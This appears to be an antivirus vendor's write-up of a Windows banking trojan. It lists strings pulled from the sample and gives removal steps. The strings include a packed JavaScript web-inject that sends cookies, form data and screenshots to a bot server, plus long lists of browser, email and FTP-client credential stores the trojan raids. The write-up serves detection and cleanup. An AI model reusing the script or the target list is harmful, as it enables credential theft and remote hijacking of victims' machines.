function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

CertificateAuthority

%s.pfx

cookies.sqlite

cookies.sqlite-journal

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-WebKit-CSP

hXXps://

HTTP/1.1 200 OK

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

chrome.dll

127.0.0.1

DrWeb

McAfee.com

Doctor Web

Common Files\Doctor Web

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

#FV_%u

#FV_%s

pass.txt

cert.pfx

PFXImportCertStore

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

csrss.exe

smss.exe

wininit.exe

services.exe

svchost.exe

lsas.exe

lsm.exe

winlogon.exe

taskhost.exe

HttpEndRequestA

HttpEndRequestW

ADVAPI32.DLL

Init in Browser = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

#cert

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u-%u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

msvcrt.dll

%0.8X%0.8X%c

firefox.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

sqlite3_open

sqlite3_exec

sqlite3_close

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] Cmd need disconnect

ntdll.dll

gdiplus.dll

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfn

Dir #%u

<POP3_Password2

<SMTP_Password2

<IMAP_Password2

<HTTPMail_Password2

.oeaccount

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

Server.Port

Last Server Pass

Last Server Port

\sitemanager.xml

\recentservers.xml

\filezilla.xml

"password" : "

"password":"

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wisePTF.ini

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP File%u

Robo-FTP

SOFTWARE\%s\FTPServers

user.config

.duck

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u\SFTP

Keychain

Software\Nico Mak Computing\WinZip\FTP

Password

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Quick.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

Software\TurboFTP

\TurboFTP

addrbk.dat

quick.dat

Port

Login

PasswordType

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

FtpSite.xml

RushSite.xml

\FTPRush

bitkinex.ds

NDSites.ini

Software\LeechFTP

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

servers.xml

\FTPGetter

ESTdb2.dat

\Estsoft\ALFTP

QData.dat

SM.arch

FTP  .Link\shell\open\command

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

\FTPInfo

NovaFTP.db

\INSoftware\NovaFTP

\sites.xml

ftplast.osd

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

FTPCON

FTP CONTROL

FTPVoyager.ftp

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.Archive

SiteInfo.QFP

WinFTP

DeluxeFTP

sites.xml

Staff-FTP

sites.ini

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPort

BlazeFtp

site.dat

\BlazeFtp

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

FTPNow

FTP Now

FTPShell

ftpshell.fsi

ftpsite.ini

FTPList.db

My FTP

project.ini

Mailbox.ini

FTP Navigator

FTP Commander

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

FtpPort

Software\Cryer\WebSitePublisher

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

_FtpPassword

FtpServer

FtpUserName

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PassWord

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

FTP destination password

FTP destination server

FTP destination port

FTP destination user

FTP destination catalog

FTP profiles

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

accounts.ini

sites.dat

\LeapWare\LeapFTP

unleap.exe

leapftp

FtpIniName

Software\Ghisler\Windows Commander

wcx_PTF.ini

Server.Pass

Server.Host

Server.User

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3_prepare

sqlite3_step

sqlite3_column_bytes

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

signons.sqlite

\profiles.ini

PathToExe

\Mozilla\Firefox\

Firefox

Software\Mozilla

fireFTPsites.dat

\Mozilla\SeaMonkey\

SeaMonkey

\Mozilla\Profiles\

Mozilla

password 51:b:

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTPMail Password

SMTP Password

{X-X-X-XX-XXXXXX}

inetcomm server passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

USER32.DLL

GetKeyboardState

GetKeyState

?WINMM.DLL

?DSOUND.DLL

ZwConnectPort

NTDLL.DLL

[VNC] PROCESS=%s

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

SysShadow

Chrome_WidgetWin_1

Chrome_WidgetWin_0

d3d10_1.dll

d3d10_1core.dll

d3d10.dll

d3d10core.dll

d2d1.dll

OPENGL32.dll

d3d9.dll

d3d11.dll

Dxtrans.dll

WinExec

KERNEL32.dll

USER32.dll

GDI32.dll

RegCloseKey

RegNotifyChangeKeyValue

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

SHDeleteKeyA

SHLWAPI.dll

DeleteUrlCacheEntry

WININET.dll

WS2_32.dll

MSVCRT.dll

IPHLPAPI.DLL

AVIFIL32.dll

GetWindowsDirectoryW

CallNamedPipeA

ConnectNamedPipe

CreateNamedPipeW

DisconnectNamedPipe

CreateNamedPipeA

GetWindowsDirectoryA

EnumWindows

ActivateKeyboardLayout

SetViewportOrgEx

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyExA

RegOpenKeyExA

CryptImportKey

CryptDestroyKey

RegOpenKeyA

ole32.dll

OLEAUT32.dll

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

NETAPI32.dll

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

HttpAddRequestHeadersA

FindCloseUrlCache

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

COMDLG32.dll

WININET.DLL

{7BD47FDD-1028-4944-A268-024C76A61BA9}

{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{4E153850-602D-4819-B83D-3CCD0A1E7351}

{1DB12055-380D-432E-9763-74AF5EF609C7}

{1DB54A51-7DD5-412D-BFAE-04066B1F7E58}

{6BDA2D4D-43CE-4CEF-B412-5DC94F387B59}

{11166F2F-6DE1-4205-8360-3AB2448931C2}

{7B4F16B2-1959-4C21-97FE-6A7768C974CF}

{433D2A25-41C1-4D21-8ED6-4EEC2CFE2DF1}

{77101F80-23B8-43A9-AE7B-5CC95982109D}

\\.\pipe\{615F04F4-5F33-42AB-BE17-250A447B0979}

D{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{56E926DB-5D71-499E-8BBB-2E28568040CB}

U{4E153850-602D-4819-B83D-3CCD0A1E7351}

2FFC7DAE-2BDA-4ABF-A443-1DD264C72327

<!</<7<><[<

8 9(91999\9

echrome.dll

iexplore.exe

chrome.exe

\System32\KERNEL32.DLL

\System32\kernelbase.dll

\ThemeApiPort

%Program Files%\Java\jre6\bin\jqs.exe

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   regsvr32.exe:184
   

3. Delete the original Trojan file.
   
4. Delete or disinfect the following files created/modified by the Trojan:
   

   %Documents and Settings%\%current user%\Local Settings\Temp\LowupIzink\WogaRdahz.dat (251 bytes)

5. Delete the following value(s) in the autorun key (How to Work with System Registry):
   

   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "WogaRdahz" = "regsvr32.exe %Documents and Settings%\All Users\Application Data\WogaRdahz\WogaRdahz.dat"

6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.